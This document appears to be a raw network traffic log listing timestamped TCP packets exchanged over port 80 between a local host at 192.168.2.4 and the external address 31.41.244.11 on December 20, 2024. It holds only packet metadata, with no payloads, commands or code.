Dec 20, 2024 11:12:12.914108992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.914175034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.914222002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.915066004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.915113926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.915163994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.915206909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.915966988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.916022062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.916033983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.916073084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.916913033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.916969061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.917017937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.917071104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.917999029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.918052912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.918092966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.918144941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.919068098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.919123888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.919203997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.919255018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.920187950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.920243979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.920310020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.920361996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.921257973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.921309948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.921375990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.921428919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.922374964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.922424078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.922431946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.922475100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.923424006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.923479080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.923561096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.923614025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.924549103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.924602032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.924665928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.924721956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.925601959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.925656080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.925908089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.925957918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.926687956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.926740885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.926819086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.926876068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.927778959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.927828074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.927896976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.927947044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.928857088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.928903103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.928982973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.929034948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.929943085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.929992914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.930072069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.930123091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.931055069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.931111097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.931168079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.931216002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.932123899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.932178020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.932180882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.932230949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.933257103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.933312893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.933322906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.933371067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.934339046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.934392929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.934406042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.934456110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.935395002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.935448885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.935513973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.935561895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.936486006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.936541080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.936578035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.936624050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.937575102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.937632084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.937696934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.937745094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.938678980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.938730955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.938795090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.938846111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.939768076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.939824104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.939888954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.939938068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.940829992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.940884113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.940953016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.941003084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.941910028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.941967964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:12.942033052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:12.942078114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.078267097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.078345060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.078361034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.078413010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.078480959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.078528881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.078557968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.078613043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.079710960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.079776049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.079979897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.080025911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.080081940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.080132008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.081219912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.081295013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.081413984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.081466913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.082113028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.082185984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.082192898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.082242966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.083296061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.083350897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.083415985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.083508968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.084280968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.084336042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.084446907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.084496021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.085345030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.085397005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.085474968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.085525990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.086460114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.086509943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.086590052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.086642027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.087548018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.087603092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.087657928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.087707996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.088746071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.088783026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.088798046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.088821888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.089720964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.089775085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.089858055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.089905024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.090786934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.090840101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.090859890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.090914011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.091897964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.091952085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.092020988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.092063904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.092984915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.093035936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.093110085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.093158960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.094077110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.094125986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.094196081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.094245911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.095148087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.095196009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.095262051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.095315933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.096240997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.096292973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.096316099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.096364021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.097349882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.097409964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.097532988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.097582102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.098427057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.098481894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.099227905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.099280119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.099528074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.099577904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.099643946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.099693060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.100577116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.100630045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.100709915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.100759029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.101674080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.101727009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.101793051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.101844072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.102860928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.102910995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.103029013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.103080034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.103883028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.103938103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.103940010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.103991985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.104937077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.105020046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.105046988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.105101109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.105990887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.106041908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.106122017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.106170893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.107131004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.107183933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.107186079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.107232094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.108195066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.108253002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.108324051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.108374119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.109314919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.109376907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.109399080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.109453917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.110371113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.110426903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.110481977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.110532999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.111459017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.111511946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.111597061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.111645937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.112566948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.112618923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.112677097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.112725019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.113651991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.113703012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.113826990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.113888979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.114711046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.114761114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.114816904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.114864111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.115801096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.115853071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.115921021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.115974903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.116942883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.116997004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.117080927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.117135048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.118082047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.118129015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.118263006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.118315935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.119115114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.119164944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.119234085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.119285107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.120167971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.120219946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.120289087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.120340109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.121303082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.121354103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.121357918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.121407032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.122476101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.122526884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.122529984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.122575998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.123485088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.123538017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.123617887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.123671055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.124531031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.124586105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.124644995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.124699116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.125565052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.125632048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.125739098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.125804901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.126732111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.126787901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.126805067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.126857042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.127778053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.127830982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.127840996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.127885103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.128870964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.128926992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.129065037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.129112959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.129983902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.130033016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.130065918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.130114079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.131072998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.131127119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.131179094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.131225109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.132143021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.132193089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.132262945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.132309914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.133229017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.133277893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.133346081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.133398056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.134296894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.134354115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.134402990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.134450912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.270662069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.270720959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.270733118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.270764112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.270801067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.270849943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.270941973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.271001101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.271919012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.271970034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.271974087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.272017002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.273025990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.273077965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.273159981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.273210049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.274104118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.274158001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.274240017 CET	80	49768	31.41.244.11	192.168.2.4
